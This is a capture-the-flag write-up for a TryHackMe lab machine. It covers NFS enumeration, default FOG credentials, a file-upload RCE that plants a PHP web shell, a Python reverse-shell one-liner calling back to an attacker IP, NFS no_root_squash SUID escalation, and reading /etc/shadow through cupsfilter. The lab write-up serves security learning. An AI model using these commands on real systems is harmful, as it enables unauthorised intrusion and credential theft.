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TryHackMe/Corgi.md
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TryHackMe/Corgi.md
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# TryHackMe-Crogi
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## NMAP
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```bash
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21/tcp open ftp syn-ack ttl 63 vsftpd 3.0.3
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22/tcp open ssh syn-ack ttl 63 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
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| ssh-hostkey:
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80/tcp open http syn-ack ttl 63 Apache httpd 2.4.29 ((Ubuntu))
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| http-methods:
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|_ Supported Methods: GET POST OPTIONS HEAD
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|_http-server-header: Apache/2.4.29 (Ubuntu)
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|_http-title: Apache2 Ubuntu Default Page: It works
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111/tcp open rpcbind syn-ack ttl 63 2-4 (RPC #100000)
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443/tcp open ssl/https syn-ack ttl 63 Apache/2.4.29 (Ubuntu)
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| http-methods:
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|_ Supported Methods: GET POST OPTIONS HEAD
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|_http-server-header: Apache/2.4.29 (Ubuntu)
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|_http-title: Apache2 Ubuntu Default Page: It works
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2049/tcp open nfs_acl syn-ack ttl 63 3 (RPC #100227)
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3306/tcp open mysql syn-ack ttl 63 MySQL 5.5.5-10.1.48-MariaDB-0ubuntu0.18.04.1
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| mysql-info:
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| Protocol: 10
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| Version: 5.5.5-10.1.48-MariaDB-0ubuntu0.18.04.1
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| Thread ID: 89
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| Capabilities flags: 63487
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| Some Capabilities: InteractiveClient, ConnectWithDatabase, IgnoreSpaceBeforeParenthesis, Support41Auth, Speaks41ProtocolOld, SupportsTransaction
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s, LongPassword, SupportsLoadDataLocal, IgnoreSigpipes, ODBCClient, DontAllowDatabaseTableColumn, FoundRows, SupportsCompression, Speaks41ProtocolNe
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w, LongColumnFlag, SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults
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| Status: Autocommit
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| Salt: ;sV4=wbeUX:W*gL$m{Bs
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|_ Auth Plugin Name: mysql_native_password
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42493/tcp open nlockmgr syn-ack ttl 63 1-4 (RPC #100021)
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57597/tcp open mountd syn-ack ttl 63 1-3 (RPC #100005)
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58527/tcp open mountd syn-ack ttl 63 1-3 (RPC #100005)
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60677/tcp open mountd syn-ack ttl 63 1-3 (RPC #100005)
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```
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## PORT 2049 (NFS)
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Since `nfs` is enabled we can see if there's are share available for us to mount , and running `showmount` will show which shares are available
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<img src="https://i.imgur.com/9kTfptS.png"/>
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We can now mount this using the `mount` command
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<img src="https://i.imgur.com/WAIUgL4.png"/>
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If we navigate into folders we can see a `fog` file and we can see that there's something called fog project
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<img src="https://i.imgur.com/9iGzhtn.png"/>
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<img src="https://imgur.com/xKcwqmK.png"./>
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We can serch for default creds for fog which are `fog:password`
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<img src="https://imgur.com/XxM9xcW.png"/>
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<img src="https://imgur.com/kiywavz.png"/>
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Searching for exploits on google we do find one for `File Upload RCE`
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<img src="https://imgur.com/Q9KN2YA.png"/>
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## Foothold
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So let's follow the steps to get remote code execution , first we need to create an empty file using the command show in the exploit
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<img src="https://imgur.com/InaLuIt.png"/>
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Make a variable named `cmd` which will save the value coming form the GET parameter named `cmd` and that command will be executed with `system` function , basically running any shell command
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<img src="https://imgur.com/v42IydL.png"/>
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Then we have to server this file by hosting it on our machine and we need to include that request (http://ip/myshell) in base64 encoded form in a GET parameter named `file` of fog url
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```
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http://10.10.39.253:443/fog/management/index.php?node=about&sub=kernel&file=aHR0cDovLzAuOC45NC42MC9teXNoZWxsCg==&arch=arm64
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```
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After making that request a confirmation will be show to install the kernel module
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<img src="https://imgur.com/AaGATcx.png"/>
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Here we need to change kernel name from `bzImage32` to `myshell.php`
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<img src="https://imgur.com/GYQJ9bj.png"/>
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<img src="https://imgur.com/t6DEs45.png"/>
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Navigating to `/fog/service/ipxe/myshell.php?cmd=id`
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<img src="https://imgur.com/J6FNVxu.png"/>
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We will have rce from which we can get a revere shell
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```bash
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python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.8.94.60",80));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")'
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```
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<img src="https://imgur.com/KPrGBqV.png"/>
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Stabilizing the shell
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<img src="https://imgur.com/XgRM5CP.png"/>
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## Rabbit hole
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We can find fog database password from `/opt/fog/.fogsettings`
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<img src="https://imgur.com/Srmyslw.png"/>
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There's also another set of credentials but I am not sure for which service it's for but there is a usernamed `fogproject` so let's try for this user
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<img src="https://imgur.com/U90J2JE.png"/>
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<img src="https://imgur.com/F5uEh1C.png"/>
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This indeed was the right password but it immediately shows a message and brings us back to www-data shell , but we can actually runs commands as this user through `su fogproject -c id`
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<img src="https://imgur.com/t7sMM9B.png"/>
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I tried to get sh shell instead of bash and it worked
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<img src="https://imgur.com/YjYHXXn.png"/>
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But I couldn't do much from this user , so I went on and looked at the kernel version
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<img src="https://imgur.com/Xvkcobl.png"/>
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Now at this point I am not gonna lie I got into a rabbit hole and tried to exploit the kernel version but couldn't get any of the exploits to work as all failed at finding subuid (don't know what it means )
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<img src="https://imgur.com/kSC1TKI.png"/>
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## Privilege Escalation (1st method)
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I should have run `linpeas` from the start and it would have saved my time because as I ran linpeas and found that `no_squash_root` was enabled
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<img src="https://imgur.com/hVrogB0.png"/>
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And this could be a secrity issue , by default on nfs share ,it we mount the share and whatever changes that we make in that share like uploading files or writing files it will be owned as `nfsnobody` or `nobody` even tho we are root on our host machine but if no_root_squash is enabled , whatever changes we make or upload any files that will be owned as root on the actual target machine so we can mount the share , copy the `bash` from our machine and make it a SUID , and that file will also be shown as being SUID binary owned by root on the actual machine (target machine)
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So in order to see which share we have write access , we can read the `/etc/exports` file on the target machine
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<img src="https://imgur.com/Ftg7CaG.png"/>
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Let's mount `/images/dev` share again
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<img src="https://imgur.com/Ns6WtzN.png"/>
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Here what I have done is , mounted the share and in that share created a c program file which will set the SUID to 0 (which is for root user) and spawn the bash shell . After compiling the file we have to make that binary a SUID because when this binary executes it will be executed as a root user
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<img src="https://imgur.com/wDYyiGp.png"/>
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<img src="https://imgur.com/pQCvQoi.png"/>
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Also to note that I had tried copying the bash binary , making it a SUID and then executing it but it didn't work as it was throwing an error related loading shared library
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<img src="https://imgur.com/wYnhIY9.png"/>
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## Privilege Escalation (2nd method)
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Checking the SUID binaries , we will find a binary named `cupsfilter`
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<img src="https://imgur.com/7pzQoPT.png"/>
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CUPS in linux is used as a printing service in linux for printing files and cupsfilter is used for converting a file to a specific format , after the file is converting it sends the output to standard output , on to the screen. So we can abuse this by going to GTFOBINS
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<img src="https://imgur.com/n9bF12b.png"/>
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Running `/usr/sbin/cupsfilter -i application/octet-stream -m application/octet-stream /etc/shadow`
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<img src="https://imgur.com/4tPRSxY.png"/>
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This will print the shadow file which holds all user's password hashses, in this way we can read the root flag as well but we won't get a shell through this method as we can only read files and since there's no ssh key in root user's .ssh directory we can't do much from here
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## References
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- https://www.exploit-db.com/exploits/49811
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- https://book.hacktricks.xyz/linux-unix/privilege-escalation/nfs-no_root_squash-misconfiguration-pe
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- https://www.hackingarticles.in/linux-privilege-escalation-using-misconfigured-nfs/
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- https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/4/html/security_guide/s2-server-nfs-noroot
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- https://man7.org/linux/man-pages/man8/cupsfilter.8.html
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- https://gtfobins.github.io/gtfobins/cupsfilter/
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